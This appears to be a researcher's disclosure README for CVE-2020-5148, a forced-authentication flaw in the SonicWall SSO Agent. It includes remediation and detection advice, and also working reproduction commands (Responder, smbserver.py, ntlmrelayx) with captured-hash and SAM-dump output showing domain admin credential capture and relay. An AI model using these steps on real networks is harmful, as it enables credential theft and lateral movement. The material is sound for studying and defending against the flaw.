CVE-2020-5148

Forced Authentication in the SonicWall UTM SSO Agent

The SonicWall SSO Agent identifies the user behind a given IP address by probing that workstation with NetAPI (the default) or WMI. It does not validate the workstation before initiating the NTLM authentication, and it continues polling the same address for the life of the session.

Because the SSO Agent service requires administrative rights on every workstation and server it probes, it is deployed in practice as Domain Admin. Any unauthenticated party who can route web traffic through the UTM appliance can therefore make a Domain Admin account authenticate to a host of their choosing, and capture or relay that authentication.

Published as CVE-2020-5148, vendor advisory SNWLID-2021-0003.

Discovered and reported by Sedric Louissaint of Show Up Show Out Security.

Summary

NVD description:

SonicWall SSO-agent default configuration uses NetAPI to probe the associated IP's in the network, this client probing method allows a potential attacker to capture the password hash

Technical detail

The intended flow, and the two steps it omits

1. A user's traffic reaches the SonicWALL UTM appliance.
2. The appliance sends the user's IP to the SSO Agent as a "User Name Request". Blocked packets are held.
3. The SSO Agent replies with the username logged into that workstation.
4. LDAP or the local database resolves group membership.
5. Policy is applied and the held traffic is released.
6. The appliance keeps polling the SSO Agent to confirm the same user is still logged on.

The annotations mark what the vendor diagram leaves out:

• Step 2.5 The SSO Agent must authenticate to the workstation before it can query it. That is an outbound NTLM handshake, to an address supplied by whoever generated the traffic, with no prior validation of that address.
• Step 5.5 The agent repeats that authentication on every poll, for the life of the session. The polling interval is configurable in the GUI.

Privilege context

The SSO Agent service requires administrator rights on all associated workstations and servers in order to perform the query at all. In practically every deployment this means the service account is Domain Admin.

The credential being handed to an unvalidated host is therefore the highest privileged account in the directory.

Triggering it

There is no exploit code. Any outbound web request from a segment the appliance handles is sufficient:

curl sonicwall.com

The URL is irrelevant and the request does not need to succeed. The appliance observes traffic from an unrecognised IP, asks the SSO Agent to identify the user there, and the agent authenticates to that IP.

Capturing the credential

With Responder or smbserver.py listening, the agent's NTLMv2 authentication arrives unprompted, and keeps arriving because of the polling behaviour:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Relaying it

Cracking is optional. Where SMB signing is not enforced, the authentication can be relayed live to a different host, which then treats the connection as the privileged account it appears to be:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

The authentication is triggered by an unauthenticated web request and consumed on an entirely different machine, which is the full ACL bypass described in the advisory.

Reproduction

In a lab you own or are authorised to test, with a UTM appliance configured for SSO and the SSO Agent using the default NetAPI client probing method:

1. Start a listener on a host inside a segment the appliance handles:
   root@kitploit:~

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. From that same host, generate any outbound web traffic through the appliance:
   root@kitploit:~

   curl sonicwall.com
   

3. A vulnerable configuration produces an inbound NTLMv2 authentication from the SSO Agent service account within seconds. Wait, and it repeats, because of the polling.
4. Optionally relay rather than capture, against a host with SMB signing disabled:
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Full command sequence in poc/repro.sh.

Repository contents

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Usernames, hashes and internal addresses in the captures are redacted or from the original lab.

Remediation

1. Switch client probing from NetAPI to WMI. This is the vendor's documented workaround and the fastest meaningful change.
2. Do not run the SSO Agent as an account that can log in everywhere. Do not permit administrator to log in via the SSO agent service, the DC, the Exchange server or the terminal server. Where the account must stay privileged, use a password long enough that offline cracking is not realistic, twenty characters or more, never reused.
3. Upgrade the Directory Services Connector. NVD records the fix in 4.1.19. Note that in the researcher's testing, 4.1.19 and later still exhibited the underlying probing behaviour and surfaced a warning rather than removing it. A warning is not a control, so treat the WMI switch and the account hardening as the real mitigation.
4. Enforce SMB signing across the estate. This does not stop the credential being captured, but it removes relay as an option.
5. Consider Extended Protection for Authentication on services that support it, and restrict outbound SMB at the perimeter.
6. Detect it. Authentication attempts from the SSO Agent service account to hosts that are not managed workstations are a high signal event. So is that account authenticating to an address that has never appeared in inventory.

Timeline

Write-ups

• Personal account: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Disclaimer

Published after vendor disclosure, for defensive and educational use. There is no exploit code here because none is required, which is the point of the finding. Do not run these commands against networks you do not own or have written authorisation to test.